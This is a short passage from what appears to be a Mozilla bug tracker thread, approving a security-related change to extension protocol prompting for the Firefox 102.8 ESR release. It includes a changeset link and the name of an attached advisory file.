Discussed this with mkaply to be sure there weren't any enterprise concerns with this as it changes some extension workflows, but given that the prompting is once per extension per protocol, it seems like a reasonable trade-off for the added security benefits. Approved for 102.8esr.

Comment 60

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr102/rev/673f83d2eaf1

Comment 61

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Attachment: advisory.txt